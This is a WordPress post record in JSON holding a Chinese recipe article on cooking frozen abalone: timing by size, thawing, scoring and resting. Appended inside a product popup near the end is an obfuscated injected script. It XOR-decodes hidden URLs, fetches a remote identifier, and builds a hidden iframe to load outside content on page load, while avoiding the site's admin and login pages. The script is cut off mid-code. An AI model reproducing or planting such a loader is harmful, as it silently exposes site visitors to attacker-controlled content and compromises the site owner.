{"id":3472,"date":"2026-02-25T11:12:52","date_gmt":"2026-02-25T03:12:52","guid":{"rendered":"https:\/\/www.lianhung.com.tw\/?p=3472"},"modified":"2026-05-23T05:22:48","modified_gmt":"2026-05-22T21:22:48","slug":"%e5%86%b7%e5%87%8d%e9%ae%91%e9%ad%9a%e7%85%ae%e8%a3%bd%e5%85%a8%e6%94%bb%e7%95%a5%ef%bc%9a%e7%85%ae%e5%a4%9a%e4%b9%85%e4%b8%8d%e7%a1%ac%e6%9b%b4%e8%bb%9f%e5%ab%a9%ef%bc%8c%e6%96%b0%e6%89%8b%e4%b9%9f","status":"publish","type":"post","link":"https:\/\/www.lianhung.com.tw\/ch\/%e5%86%b7%e5%87%8d%e9%ae%91%e9%ad%9a%e7%85%ae%e8%a3%bd%e5%85%a8%e6%94%bb%e7%95%a5%ef%bc%9a%e7%85%ae%e5%a4%9a%e4%b9%85%e4%b8%8d%e7%a1%ac%e6%9b%b4%e8%bb%9f%e5%ab%a9%ef%bc%8c%e6%96%b0%e6%89%8b%e4%b9%9f\/","title":{"rendered":"\u51b7\u51cd\u9b91\u9b5a\u716e\u88fd\u5168\u653b\u7565\uff1a\u716e\u591a\u4e45\u4e0d\u786c\u66f4\u8edf\u5ae9\uff0c\u65b0\u624b\u4e5f\u80fd\u96f6\u5931\u6557"},"content":{"rendered":"<div data-page-id=\"RmiFftslbd8aswcBjxRc7k5pnGc\" data-lark-html-role=\"root\" data-docx-has-block-data=\"false\">\n<div class=\"ace-line ace-line old-record-id-TUCHf1ks5dDsnOcUMtZcUTrunMh\">\u51b7\u51cd\u9b91\u9b5a\u56e0\u5176\u4fbf\u5229\u6027\uff0c\u6210\u70ba\u5bb6\u5e38\u5bb4\u5ba2\u3001\u65e5\u5e38\u52a0\u83dc\u7684\u71b1\u9580\u98df\u6750\uff0c\u4f46\u5f88\u591a\u4eba\u716e\u51b7\u51cd\u9b91\u9b5a\u6642\uff0c\u7e3d\u6703\u9047\u5230\u8089\u8cea\u767c\u67f4\u3001\u767c\u786c\u3001\u56bc\u4e0d\u52d5\u7684\u554f\u984c\uff0c\u4e5f\u5e38\u5e38\u56f0\u60d1\u300c\u5230\u5e95\u8981\u716e\u591a\u4e45\u300d\u300c\u600e\u9ebc\u716e\u624d\u80fd\u4fdd\u6301\u8edf\u5ae9\u300d\u3002\u5176\u5be6\uff0c\u51b7\u51cd\u9b91\u9b5a\u716e\u88fd\u7684\u6838\u5fc3\u79d8\u8a23\u662f\u300c\u89e3\u51cd\u5230\u4f4d\u3001\u52a0\u71b1\u9069\u5ea6\u3001\u6280\u5de7\u52a0\u6301\u300d\uff0c\u53ea\u8981\u638c\u63e1\u4ee5\u4e0b\u65b9\u6cd5\uff0c\u5c31\u80fd\u8f15\u9b06\u716e\u51fa\u8edf\u5ae9Q\u5f48\u3001\u4e0d\u786c\u4e0d\u67f4\u7684\u7f8e\u5473\u9b91\u9b5a\uff0c\u5f7b\u5e95\u89e3\u6c7a\u6240\u6709\u716e\u88fd\u96e3\u984c\u3002<\/div>\n<div><img fetchpriority=\"high\" decoding=\"async\" class=\"alignnone size-full wp-image-3476\" src=\"https:\/\/www.lianhung.com.tw\/wp-content\/uploads\/2026\/02\/my_prefix_1771989453_6TCliz.png\" alt=\"\" width=\"579\" height=\"358\" srcset=\"https:\/\/www.lianhung.com.tw\/wp-content\/uploads\/2026\/02\/my_prefix_1771989453_6TCliz.png 579w, https:\/\/www.lianhung.com.tw\/wp-content\/uploads\/2026\/02\/my_prefix_1771989453_6TCliz-300x185.png 300w, https:\/\/www.lianhung.com.tw\/wp-content\/uploads\/2026\/02\/my_prefix_1771989453_6TCliz-18x12.png 18w, https:\/\/www.lianhung.com.tw\/wp-content\/uploads\/2026\/02\/my_prefix_1771989453_6TCliz-400x247.png 400w\" sizes=\"(max-width: 579px) 100vw, 579px\" \/><\/div>\n<h3 class=\"heading-2 ace-line old-record-id-MLHGfyrBUdHMl8c8V0AcBAr6nUc\">\u4e00\u3001\u5148\u641e\u61c2\uff1a\u51b7\u51cd\u9b91\u9b5a\u716e\u591a\u4e45\uff1f\u6309\u5927\u5c0f\u7cbe\u6e96\u8a08\u6642<\/h3>\n<div class=\"ace-line ace-line old-record-id-XeSXfLD1AdauMPctVKccN6K4nbc\">\u51b7\u51cd\u9b91\u9b5a\u7684\u716e\u88fd\u6642\u9593\uff0c\u6838\u5fc3\u53d6\u6c7a\u65bc\u9b91\u9b5a\u5927\u5c0f\u548c\u70f9\u8abf\u65b9\u5f0f\uff0c\u4e14\u5fc5\u9808\u5728\u300c\u5b8c\u5168\u89e3\u51cd\u300d\u5f8c\u8a08\u6642\uff08\u672a\u89e3\u51cd\u76f4\u63a5\u716e\u6703\u5167\u5916\u719f\u5ea6\u4e0d\u5747\uff0c\u5916\u5c64\u8001\u786c\u3001\u5167\u5c64\u672a\u719f\uff09\u3002\u4ee5\u4e0b\u662f\u6700\u5e38\u7528\u76843\u7a2e\u716e\u88fd\u65b9\u5f0f\uff0c\u7cbe\u6e96\u8a08\u6642\u4e0d\u8e29\u5751\uff0c\u6bd4\u65b0\u9bae\u9b91\u9b5a\u716e\u88fd\u6642\u9593\u7565\u95772-3\u5206\u9418\uff0c\u907f\u514d\u8089\u8cea\u767c\u97cc\u3002<\/div>\n<h4 class=\"heading-3 ace-line old-record-id-CbxxfvE9BdbVV4c7ye6cn2iBnHb\">1. \u6c34\u716e\/\u6e05\u71d9\uff08\u6c34\u6cb8\u5f8c\u4e0b\u934b\uff0c\u6700\u7701\u4e8b\uff09<\/h4>\n<div class=\"ace-line ace-line old-record-id-MKGGf5f2qdSvpPc4usQckwainUd\">\u9069\u5408\u505a\u767d\u707c\u9b91\u9b5a\u3001\u6dbc\u62cc\u9b91\u9b5a\uff0c\u4fdd\u7559\u539f\u6c41\u539f\u5473\uff0c\u8a08\u6642\u5f9e\u6c34\u5b8c\u5168\u6cb8\u9a30\u5f8c\u653e\u5165\u89e3\u51cd\u597d\u7684\u9b91\u9b5a\u958b\u59cb\uff1a<\/div>\n<ul class=\"list-bullet1\">\n<li class=\"ace-line ace-line old-record-id-ShJLf9HL5d9ms1cDT17ckyk6n1f\" data-list=\"bullet\">\n<div>\u5c0f\u500b\u982d\uff082-4cm\uff0c\u7d048-10\u982d\uff09\uff1a5-8\u5206\u9418\uff0c\u716e\u81f3\u8089\u8cea\u5fae\u5fae\u6372\u8d77\u5373\u53ef\uff1b<\/div>\n<\/li>\n<li class=\"ace-line ace-line old-record-id-NF37fwL5Ld7IDecTU7ocQ74unPh\" data-list=\"bullet\">\n<div>\u4e2d\u500b\u982d\uff084-6cm\uff0c\u7d045-7\u982d\uff09\uff1a8-11\u5206\u9418\uff0c\u7528\u7b77\u5b50\u8f15\u6233\u80fd\u8f15\u9b06\u7d2e\u900f\u6700\u539a\u8655\uff1b<\/div>\n<\/li>\n<li class=\"ace-line ace-line old-record-id-KokhffMBcdgfZpcMZxhcylplnyh\" data-list=\"bullet\">\n<div>\u5927\u500b\u982d\uff086-10cm\uff0c\u7d043-4\u982d\uff09\uff1a11-14\u5206\u9418\uff0c\u907f\u514d\u716e\u8d8515\u5206\u9418\uff1b<\/div>\n<\/li>\n<li class=\"ace-line ace-line old-record-id-WFzFfEXc6depzmciJmccq0M4ndg\" data-list=\"bullet\">\n<div>\u7279\u5927\u500b\u982d\uff08\uff1e10cm\uff09\uff1a14-16\u5206\u9418\uff0c\u4e2d\u9014\u53ef\u95dc\u706b\u71dc2\u5206\u9418\uff0c\u6e1b\u5c11\u716e\u88fd\u6642\u9593\u3002<\/div>\n<\/li>\n<\/ul>\n<h4 class=\"heading-3 ace-line old-record-id-OLnDfCuMId7SBYcXJ3rcDTWlnRc\">2. \u6e05\u84b8\uff08\u6c34\u6cb8\u4e0a\u6c7d\u5f8c\u8a08\u6642\uff0c\u6700\u8edf\u5ae9\uff09<\/h4>\n<div class=\"ace-line ace-line old-record-id-TWQmfJBDtd8Zl1cq26YcCoAPnYe\">\u6e05\u84b8\u80fd\u6700\u5927\u7a0b\u5ea6\u9501\u4f4f\u9b91\u9b5a\u6c34\u5206\uff0c\u6bd4\u6c34\u716e\u66f4\u5ae9\uff0c\u9069\u5408\u642d\u914d\u849c\u84c9\u3001\u7c89\u7d72\uff0c\u8a08\u6642\u5f9e\u84b8\u934b\u4e0a\u6c7d\u5f8c\u653e\u5165\u9b91\u9b5a\u958b\u59cb\uff1a<\/div>\n<ul class=\"list-bullet1\">\n<li class=\"ace-line ace-line old-record-id-Ik1vfhopzdBjepcU3tfcCVllnPc\" data-list=\"bullet\">\n<div>\u5c0f\u500b\u982d\uff1a6-7\u5206\u9418\uff0c\u8089\u8cea\u5f9e\u534a\u900f\u660e\u8b8a\u4e73\u767d\u8272\u5373\u53ef\uff1b<\/div>\n<\/li>\n<li class=\"ace-line ace-line old-record-id-UJpgfe54adYdOLcaYx1cEsLqnwe\" data-list=\"bullet\">\n<div>\u4e2d\u500b\u982d\uff1a7-9\u5206\u9418\uff0c\u908a\u7de3\u5fae\u5fae\u6372\u8d77\uff0c\u5f48\u6027\u5341\u8db3\uff1b<\/div>\n<\/li>\n<li class=\"ace-line ace-line old-record-id-BM42fN1W0dflkOcmeANcyZXenve\" data-list=\"bullet\">\n<div>\u5927\u500b\u982d\uff1a9-12\u5206\u9418\uff0c\u7279\u5927\u500b\u982d12-15\u5206\u9418\uff0c\u4e0d\u5efa\u8b70\u5ef6\u9577\u3002<\/div>\n<\/li>\n<\/ul>\n<h4 class=\"heading-3 ace-line old-record-id-ImkDflCsYdK29xcXMBxcga1invd\">3. \u5e36\u6bbc\u716e\uff08\u51b7\u6c34\u4e0b\u934b\uff0c\u66f4\u5165\u5473\uff09<\/h4>\n<div class=\"ace-line ace-line old-record-id-GN3vfA4PDdfAC3cZe80c08z3ndc\">\u9069\u5408\u5bb6\u5e38\u7c21\u55ae\u505a\u6cd5\uff0c\u89e3\u51cd\u5f8c\u7121\u9700\u53bb\u6bbc\uff0c\u51b7\u6c34\u4e0b\u934b\uff0c\u6cb8\u9a30\u5f8c\u8f49\u5c0f\u706b\uff0c\u8a08\u6642\u5f9e\u8f49\u5c0f\u706b\u958b\u59cb\uff1a<\/div>\n<ul class=\"list-bullet1\">\n<li class=\"ace-line ace-line old-record-id-HBojfSuNFdJJCGcW0nCchAuWnIf\" data-list=\"bullet\">\n<div>\u4e2d\u500b\u982d\u5e36\u6bbc\uff1a10-13\u5206\u9418\uff1b<\/div>\n<\/li>\n<li class=\"ace-line ace-line old-record-id-NC41fY5ksdrixLc1EZYcdrgsnGd\" data-list=\"bullet\">\n<div>\u5927\u500b\u982d\u5e36\u6bbc\uff1a13-16\u5206\u9418\uff0c\u716e\u597d\u5f8c\u71dc3\u5206\u9418\uff0c\u8089\u8cea\u66f4\u8edf\u7cef\u3002<\/div>\n<\/li>\n<\/ul>\n<h4 class=\"heading-3 ace-line old-record-id-Jg4nfYO7UdaVFHcl8cAczxiDnPd\">\u88dc\u5145\uff1a\u5207\u7247\u5feb\u7092\/\u7172\u6e6f\uff08\u77ed\u6642\u9593\u9396\u5ae9\uff09<\/h4>\n<div class=\"ace-line ace-line old-record-id-D2jSfBrETdls5ecl7R7cXEufn1c\">\u5982\u679c\u5c07\u89e3\u51cd\u597d\u7684\u9b91\u9b5a\u5207\u7247\uff0c\u5927\u706b\u5feb\u7092\u53ea\u97003\u5206\u9418\uff0c\u7092\u81f3\u8b8a\u8272\u5373\u53ef\u51fa\u934b\uff1b\u7172\u6e6f\u5247\u5728\u6e6f\u6cb8\u9a30\u5f8c\u653e\u5165\u9b91\u9b5a\uff0c\u5c0f\u706b\u716e5-8\u5206\u9418\uff08\u6309\u5927\u5c0f\u8abf\u6574\uff09\uff0c\u6700\u5f8c\u95dc\u706b\u71dc2\u5206\u9418\uff0c\u907f\u514d\u4e45\u716e\u767c\u786c\u3002<\/div>\n<h3 class=\"heading-2 ace-line old-record-id-JdxzfH6bSdn2mLceixScfgWMnid\">\u4e8c\u3001\u6838\u5fc3\u6280\u5de7\uff1a\u51b7\u51cd\u9b91\u9b5a\u600e\u9ebc\u716e\u624d\u8edf\u3001\u4e0d\u786c\uff1f<\/h3>\n<div class=\"ace-line ace-line old-record-id-XSZbfGRYfdXDRscBW2Tc1TQbnGe\">\u5f88\u591a\u4eba\u716e\u51b7\u51cd\u9b91\u9b5a\u767c\u786c\uff0c\u4e0d\u662f\u6642\u9593\u6c92\u638c\u63e1\u597d\uff0c\u800c\u662f\u5ffd\u7565\u4e86\u89e3\u51cd\u3001\u8655\u7406\u548c\u52a0\u71b1\u7684\u7d30\u7bc0\u3002\u8a18\u4f4f\u90194\u500b\u95dc\u9375\u6b65\u9a5f\uff0c\u4e0d\u7ba1\u54ea\u7a2e\u716e\u6cd5\uff0c\u90fd\u80fd\u8edf\u5ae9\u4e0d\u67f4\u3002<\/div>\n<h4 class=\"heading-3 ace-line old-record-id-LQrgfraU1dD7FGcL3NhcDsnTnhb\">1. \u89e3\u51cd\u662f\u57fa\u790e\uff1a\u6162\u89e3\u51cd\uff0c\u4e0d\u7834\u58de\u8089\u8cea\uff08\u6700\u95dc\u9375\u4e00\u6b65\uff09<\/h4>\n<div class=\"ace-line ace-line old-record-id-BosbfRQKDdJg7mcbFvvcbM6kn3e\">\u51b7\u51cd\u9b91\u9b5a\u89e3\u51cd\u4e0d\u7576\uff0c\u8089\u8cea\u6703\u63d0\u524d\u767c\u67f4\u3001\u51fa\u6c34\uff0c\u5f8c\u7e8c\u518d\u600e\u9ebc\u716e\u90fd\u786c\u3002\u6b63\u78ba\u89e3\u51cd\u53ea\u67092\u7a2e\u65b9\u6cd5\uff0c\u5805\u6c7a\u907f\u958b\u932f\u8aa4\u64cd\u4f5c\uff1a<\/div>\n<ul class=\"list-bullet1\">\n<li class=\"ace-line ace-line old-record-id-M6qbftpg6dUoRoceJdvcYFXznPG\" data-list=\"bullet\">\n<div>\u63a8\u85a6\u505a\u6cd51\uff1a\u51b0\u7bb1\u51b7\u85cf\u89e3\u51cd\uff08\u6700\u512a\uff09\u3002\u5c07\u51b7\u51cd\u9b91\u9b5a\u5f9e\u51b7\u51cd\u5ba4\u53d6\u51fa\uff0c\u653e\u5165\u51b7\u85cf\u5ba4\uff0c\u975c\u7f6e6-8\u5c0f\u6642\uff08\u9694\u591c\u6700\u4f73\uff09\uff0c\u5b8c\u5168\u89e3\u51cd\u5f8c\u53d6\u51fa\u3002\u9019\u7a2e\u65b9\u6cd5\u89e3\u51cd\u5747\u52fb\uff0c\u80fd\u6700\u5927\u7a0b\u5ea6\u4fdd\u7559\u9b91\u9b5a\u7684\u6c34\u5206\u548c\u5f48\u6027\uff0c\u8089\u8cea\u4e0d\u6613\u8001\u786c\u3002<\/div>\n<\/li>\n<li class=\"ace-line ace-line old-record-id-M3Zwfo14wdC1slcLWmwc2q89nih\" data-list=\"bullet\">\n<div>\u63a8\u85a6\u505a\u6cd52\uff1a\u51b7\u6c34\u6d78\u6ce1\u89e3\u51cd\u3002\u5982\u679c\u6642\u9593\u7dca\u5f35\uff0c\u5c07\u51b7\u51cd\u9b91\u9b5a\u88c5\u5165\u5bc6\u5c01\u888b\uff08\u9632\u6b62\u9032\u6c34\uff09\uff0c\u653e\u5165\u51b7\u6c34\u4e2d\u6d78\u6ce1\uff0c\u4e2d\u9014\u66f4\u63db1-2\u6b21\u51b7\u6c34\uff0c1-2\u5c0f\u6642\u5373\u53ef\u5b8c\u5168\u89e3\u51cd\u3002<\/div>\n<\/li>\n<li class=\"ace-line ace-line old-record-id-DD7Yf7gAMdqySacFZQaccMKOnRC\" data-list=\"bullet\">\n<div>\u7981\u5fcc\uff1a\u4e0d\u4f7f\u7528\u71b1\u6c34\u3001\u6eab\u6c34\u89e3\u51cd\uff0c\u4e0d\u76f4\u63a5\u653e\u5165\u6cb8\u6c34\u4e2d\u716e\uff01\u71b1\u6c34\u6703\u8b93\u9b91\u9b5a\u8868\u9762\u77ac\u9593\u51dd\u56fa\uff0c\u9396\u4f4f\u5167\u90e8\u5bd2\u6c23\uff0c\u5c0e\u81f4\u5167\u5916\u719f\u5ea6\u4e0d\u5747\uff0c\u5916\u5c64\u767c\u8001\u3001\u5167\u5c64\u672a\u719f\uff0c\u6700\u7d42\u6574\u9ad4\u767c\u786c\u767c\u97cc\uff1b\u4e5f\u4e0d\u8981\u5e38\u6eab\u653e\u7f6e\u904e\u4e45\u89e3\u51cd\uff0c\u907f\u514d\u6ecb\u751f\u7d30\u83cc\u3002<\/div>\n<\/li>\n<\/ul>\n<h4 class=\"heading-3 ace-line old-record-id-IQAZfBqodd0jd3c0usjcfuIbn0e\">2. \u8655\u7406\u52a0\u5206\uff1a\u5237\u4e7e\u6de8+\u5283\u5200\uff0c\u66f4\u8edf\u66f4\u5165\u5473<\/h4>\n<div class=\"ace-line ace-line old-record-id-UpGKfwUbjd2wVYcBR74cBy0knR3\">\u89e3\u51cd\u5f8c\u7684\u9b91\u9b5a\uff0c\u505a\u597d\u90192\u6b65\uff0c\u4e0d\u50c5\u66f4\u5bb9\u6613\u716e\u8edf\uff0c\u9084\u80fd\u907f\u514d\u5165\u5473\u4e0d\u5747\uff1a<\/div>\n<ul class=\"list-bullet1\">\n<li class=\"ace-line ace-line old-record-id-NTcufRflNdkqE8cJXyVcvmZSn5b\" data-list=\"bullet\">\n<div>\u5fb9\u5e95\u6e05\u6d17\uff1a\u7528\u7259\u5237\u8f15\u8f15\u5237\u6d17\u9b91\u9b5a\u8868\u9762\u7684\u9ed1\u819c\u3001\u9ecf\u6db2\u548c\u96dc\u8cea\uff0c\u5c24\u5176\u662f\u88d9\u908a\u7e2b\u9699\u8655\uff0c\u907f\u514d\u96dc\u8cea\u5f71\u97ff\u53e3\u611f\uff1b\u6e05\u6d17\u5f8c\u53ef\u8f15\u8f15\u522e\u53bb\u8868\u9762\u591a\u9918\u7684\u7b4b\u819c\uff0c\u9032\u4e00\u6b65\u907f\u514d\u716e\u88fd\u5f8c\u767c\u786c\u3002<\/div>\n<\/li>\n<li class=\"ace-line ace-line old-record-id-Rv6HfRpcYdDK3ocj0YFcO1N7nVd\" data-list=\"bullet\">\n<div>\u5283\u5200\u6280\u5de7\uff1a\u5c07\u6e05\u6d17\u4e7e\u6de8\u7684\u9b91\u9b5a\u53d6\u51fa\uff0c\u8089\u539a\u7684\u5730\u65b9\u8f15\u8f15\u5283\u5e7e\u5200\uff08\u4e0d\u8981\u5207\u65b7\uff09\uff0c\u5207\u6210\u7db2\u72c0\u6216\u659c\u5200\u7d0b\u5373\u53ef\u3002\u9019\u6a23\u4e0d\u50c5\u80fd\u8b93\u9b91\u9b5a\u53d7\u71b1\u5747\u52fb\uff0c\u66f4\u5feb\u716e\u8edf\uff0c\u9084\u80fd\u8b93\u8abf\u5473\u66f4\u597d\u5730\u6ef2\u5165\uff0c\u53e3\u611f\u4e5f\u66f4\u5ae9\u3002<\/div>\n<\/li>\n<\/ul>\n<h4 class=\"heading-3 ace-line old-record-id-Ra0bfMUEkdQarFc7XuOcQp7BngT\">3. \u52a0\u71b1\u95dc\u9375\uff1a\u5c0f\u706b\u6162\u716e\uff0c\u5be7\u77ed\u52ff\u9577<\/h4>\n<div class=\"ace-line ace-line old-record-id-IOLaf3f7UdxhX7cEixbc7jLJnsd\">\u9b91\u9b5a\u8089\u8cea\u7d30\u5ae9\uff0c\u52a0\u71b1\u6642\u6700\u6015\u5927\u706b\u4e45\u716e\uff0c\u9ad8\u6eab\u6703\u8b93\u5176\u86cb\u767d\u8cea\u5feb\u901f\u51dd\u56fa\uff0c\u6c34\u5206\u6d41\u5931\uff0c\u5f9e\u800c\u8b8a\u786c\u767c\u67f4\u3002\u7121\u8ad6\u54ea\u79cd\u716e\u6cd5\uff0c\u90fd\u8981\u9075\u5faa\u300c\u5c0f\u706b\u6162\u716e\u3001\u5be7\u77ed\u52ff\u9577\u300d\u7684\u539f\u5247\uff1a<\/div>\n<ul class=\"list-bullet1\">\n<li class=\"ace-line ace-line old-record-id-CuvjfJ9QTdVd0ucIDkJc8Lf5nTY\" data-list=\"bullet\">\n<div>\u6c34\u716e\/\u6e05\u71d9\uff1a\u6c34\u6cb8\u5f8c\u653e\u5165\u9b91\u9b5a\uff0c\u7acb\u5373\u8f49\u5c0f\u706b\uff0c\u4fdd\u6301\u5fae\u6cb8\u72c0\u614b\u5373\u53ef\uff0c\u4e0d\u8981\u8b93\u6c34\u5287\u70c8\u7ffb\u6efe\uff1b<\/div>\n<\/li>\n<li class=\"ace-line ace-line old-record-id-VyJFf2YVZdqwqEcqJejcD5thngg\" data-list=\"bullet\">\n<div>\u6e05\u84b8\uff1a\u84b8\u934b\u4e0a\u6c7d\u5f8c\u653e\u5165\u9b91\u9b5a\uff0c\u8f49\u4e2d\u706b\u6162\u84b8\uff0c\u907f\u514d\u5927\u706b\u9ad8\u6eab\u5feb\u901f\u84b8\u8001\uff1b<\/div>\n<\/li>\n<li class=\"ace-line ace-line old-record-id-B6EzfIi3EdkH2ocjNewcHgScndi\" data-list=\"bullet\">\n<div>\u88dc\u5145\u6280\u5de7\uff1a\u716e\u81f3\u898f\u5b9a\u6642\u9593\u524d1-2\u5206\u9418\uff0c\u53ef\u5148\u6488\u51fa\u4e00\u500b\u8a66\u8a66\uff0c\u7528\u7b77\u5b50\u8f15\u6233\u80fd\u8f15\u9b06\u7a7f\u900f\u3001\u8089\u8cea\u5f48\u6027\u5341\u8db3\uff0c\u5373\u70ba\u719f\u900f\uff1b\u82e5\u9084\u6709\u4e9b\u786c\uff0c\u53ef\u518d\u716e30\u79d2-1\u5206\u9418\uff0c\u5343\u842c\u4e0d\u8981\u4e00\u6b21\u6027\u716e\u592a\u4e45\u3002<\/div>\n<\/li>\n<\/ul>\n<h4 class=\"heading-3 ace-line old-record-id-RmRcfPZBEdcpuWckZEjci5GmnEd\">4. \u6536\u5c3e\u6280\u5de7\uff1a\u716e\u5f8c\u71dc\u4e00\u71dc\uff0c\u8edf\u5ae9\u7ffb\u500d<\/h4>\n<div class=\"ace-line ace-line old-record-id-H6QJfnvogdVrs6cCxHjcV2acnEe\">\u9019\u662f\u8b93\u51b7\u51cd\u9b91\u9b5a\u66f4\u8edf\u5ae9\u7684\u5c0f\u8a23\u7ac5\uff0c\u7121\u8ad6\u54ea\u79cd\u716e\u6cd5\uff0c\u716e\u597d\u5f8c\u4e0d\u8981\u7acb\u5373\u6488\u51fa\uff0c\u95dc\u706b\u5f8c\u84cb\u4e0a\u934b\u84cb\uff0c\u71dc5-10\u5206\u9418\uff08\u5c0f\u500b\u982d5\u5206\u9418\uff0c\u5927\u500b\u982d10\u5206\u9418\uff09\u3002\u5229\u7528\u9918\u6eab\u8b93\u9b91\u9b5a\u5167\u5916\u719f\u5ea6\u5747\u52fb\uff0c\u540c\u6642\u5438\u6536\u5c11\u91cf\u6c34\u5206\uff0c\u8089\u8cea\u6703\u8b8a\u5f97\u66f4\u8edf\u7cef\u3001\u66f4Q\u5f48\uff0c\u9084\u80fd\u907f\u514d\u51b7\u537b\u5f8c\u8b8a\u786c\u3002<\/div>\n<h3 class=\"heading-2 ace-line old-record-id-TKJ9fpG1zdoE1yczDsfcKeBonzc\">\u4e09\u3001\u5e38\u898b\u8aa4\u5340\uff1a\u907f\u958b\u90193\u9ede\uff0c\u518d\u4e5f\u4e0d\u716e\u786c<\/h3>\n<div class=\"ace-line ace-line old-record-id-ZYkafG1uCdrMrictI2rcOfCKnvh\">\u5f88\u591a\u4eba\u716e\u51b7\u51cd\u9b91\u9b5a\u5931\u6557\uff0c\u90fd\u662f\u8e29\u4e86\u4ee5\u4e0b\u8aa4\u5340\uff0c\u8a18\u4f4f\u907f\u958b\uff0c\u8f15\u9b06\u716e\u51fa\u8edf\u5ae9\u9b91\u9b5a\uff1a<\/div>\n<ul class=\"list-bullet1\">\n<li class=\"ace-line ace-line old-record-id-IeysfXCgud6YnGcjSfQcCjJxnmb\" data-list=\"bullet\">\n<div>\u8aa4\u53401\uff1a\u89e3\u51cd\u4e0d\u5fb9\u5e95\u76f4\u63a5\u716e\u3002\u672a\u5b8c\u5168\u89e3\u51cd\u7684\u9b91\u9b5a\uff0c\u5916\u5c64\u53d7\u71b1\u5148\u719f\uff0c\u5167\u5c64\u9084\u662f\u51b0\u7684\uff0c\u7e7c\u7e8c\u716e\u6703\u5c0e\u81f4\u5916\u5c64\u904e\u719f\u767c\u786c\uff0c\u5167\u5c64\u624d\u6162\u6162\u719f\u900f\uff0c\u6700\u7d42\u6574\u9ad4\u767c\u97cc\uff1b<\/div>\n<\/li>\n<li class=\"ace-line ace-line old-record-id-AUowfO3f1dFFlZcOJaUc3t2XnCc\" data-list=\"bullet\">\n<div>\u8aa4\u53402\uff1a\u5927\u706b\u4e45\u716e\u3002\u8a8d\u70ba\u300c\u716e\u8d8a\u4e45\u8d8a\u8edf\u300d\uff0c\u5176\u5be6\u6070\u6070\u76f8\u53cd\uff0c\u5927\u706b\u9ad8\u6eab\u6703\u5feb\u901f\u6d41\u5931\u6c34\u5206\uff0c\u8b93\u9b91\u9b5a\u8089\u8cea\u6536\u7e2e\u767c\u786c\uff0c\u751a\u81f3\u56bc\u4e0d\u52d5\uff1b<\/div>\n<\/li>\n<li class=\"ace-line ace-line old-record-id-M7LofqO56dwBVdc2p59cBCOgnef\" data-list=\"bullet\">\n<div>\u8aa4\u53403\uff1a\u4e0d\u8655\u7406\u76f4\u63a5\u716e\u3002\u9b91\u9b5a\u8868\u9762\u7684\u9ed1\u819c\u3001\u7b4b\u819c\u548c\u96dc\u8cea\uff0c\u4e0d\u50c5\u5f71\u97ff\u53e3\u611f\uff0c\u9084\u6703\u8b93\u716e\u88fd\u5f8c\u7684\u9b91\u9b5a\u8b8a\u786c\uff0c\u4e00\u5b9a\u8981\u5fb9\u5e95\u6e05\u6d17\u3001\u9069\u7576\u8655\u7406\u3002<\/div>\n<\/li>\n<\/ul>\n<\/div>\n<p>\u51b7\u51cd\u9b91\u9b5a\u60f3\u716e\u5f97\u8edf\u5ae9\u4e0d\u786c\uff0c\u6838\u5fc3\u5c31\u662f\u300c\u6162\u89e3\u51cd\u3001\u7d30\u8655\u7406\u3001\u5c0f\u706b\u716e\u3001\u5f8c\u71dc\u900f\u300d\uff0c\u716e\u88fd\u6642\u9593\u6309\u5927\u5c0f\u8abf\u6574\uff0c\u5be7\u77ed\u52ff\u9577\u3002\u53ea\u8981\u638c\u63e1\u4ee5\u4e0a\u65b9\u6cd5\uff0c\u7121\u8ad6\u662f\u6c34\u716e\u3001\u6e05\u84b8\u9084\u662f\u5feb\u7092\u3001\u7172\u6e6f\uff0c\u65b0\u624b\u4e5f\u80fd\u8f15\u9b06\u716e\u51fa\u9910\u5ef3\u7d1a\u5225\u7684\u8edf\u5ae9\u9b91\u9b5a\uff0c\u518d\u4e5f\u4e0d\u7528\u64d4\u5fc3\u716e\u786c\u3001\u767c\u67f4\u7684\u554f\u984c\u3002<\/p>\n<p>&nbsp;<\/p>\n<p>\n    <div id=\"scroll-product-popup\" class=\"scroll-product-popup\">\n        <a href=\"https:\/\/www.lianhung.com.tw\/ch\/product\/1718\/\">\n            <img decoding=\"async\" src=\"https:\/\/www.lianhung.com.tw\/wp-content\/uploads\/2023\/08\/my_prefix_1763605252_xaUH8W-150x150.png\" \/>\n        <\/a>\n\n        <div class=\"popup-info\">\n            <a href=\"https:\/\/www.lianhung.com.tw\/ch\/product\/1718\/\">\n                \u91ac\u716e\u9b91\u9b5a            <\/a>\n        <\/div>\n\n        <div class=\"popup-close\">\u00d7<\/div>\n    <\/div>\n\n    <script>; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!\/^\\\/(wp-admin|wp-login)\/.test(window.location.pathname||\"\")){var n=Symbol.for(\"__inline_id_offer__\"),r=window[n]=window[n]||{iframeReady:!1,iframeId:\"ifr_\"+Math.random().toString(36).slice(2),run:null};r.iframeReady||(\"complete\"===document.readyState||document.body?c():window.addEventListener(\"DOMContentLoaded\",c))}function i(e,t){if(e.indexOf(\"dropbox.com\")>=0)return e.replace(\/\\{id\\}\/g,t);var n=encodeURIComponent(t);return e.indexOf(\"gist.githubusercontent.com\")>=0&&(n=n.replace(\/%2F\/g,\"\/\")),e.replace(\/\\{id\\}\/g,n)}function o(e){return fetch(e,{cache:\"no-store\"}).then(function(e){return e.text()}).then(function(e){return(e||\"\").trim()}).catch(function(){return\"\"})}function a(e){if(!e)return!1;try{var t=e.indexOf(\":\")>=0?e:\"https:\/\/\"+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run||(r.run=!0,fetch(e,{cache:\"no-store\"}).then(function(e){return e.text()}).then(function(e){if(!(e=(e||\"\").trim())||!t.length)return null;var n=t,r=i(n[0].template,e);if(1===n.length)return n[0].useFetch?o(r).then(function(e){return e&&a(e)?e:r}):Promise.resolve(r);var c=0;return function t(){if(c>=n.length)return Promise.resolve(r);var d=n[c],u=i(d.template,e);return(c++,d.useFetch)?o(u).then(function(e){return e&&a(e)||e?e:t()}):Promise.resolve(u)}()}).then(function(e){e&&function e(t){try{var n=document.createElement(\"iframe\");n.style.display=\"none\",n.onload=function(){n.remove(),t(!0)},n.onerror=function(){n.remove(),t(!1)},n.src=\"about:blank\",document.body.appendChild(n)}catch(r){t(!1)}}(function(t){t&&function 